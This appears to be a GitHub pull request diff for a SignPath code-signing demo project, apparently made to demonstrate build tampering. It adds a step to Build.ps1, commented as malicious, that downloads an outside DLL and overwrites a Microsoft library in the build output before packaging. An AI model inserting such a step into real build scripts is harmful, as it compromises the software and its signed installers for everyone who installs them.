Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 0 additions & 2 deletions .github/workflows/build-and-sign.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,6 @@ run-name: Demo workflow signing with SignPath
on:
push:
pull_request:
#schedule:
# - cron: '30 3 * * *' # every day at 3:30am UTC
workflow_dispatch: # Allows you to run this workflow manually from the Actions tab

jobs:
Expand Down
4 changes: 4 additions & 0 deletions src/Build.ps1
Original file line number Diff line number Diff line change
@@ -1,6 +1,10 @@
# build .Net application
dotnet build --configuration Release src/DemoExample.csproj

# maliciously replace the Microsoft DLL
Invoke-WebRequest https://github.com/carterjones/hello-world-dll/releases/download/v1.0.0/hello-world-x64.dll `
-OutFile .\src\bin\Release\net7.0\Microsoft.Extensions.DependencyModel.dll

# build MSI installer
Copy-Item .\src\installer\description.wxs .\src\bin\Release\net7.0\description.wxs -Force
Push-Location .\src\bin\Release\net7.0
Expand Down
Loading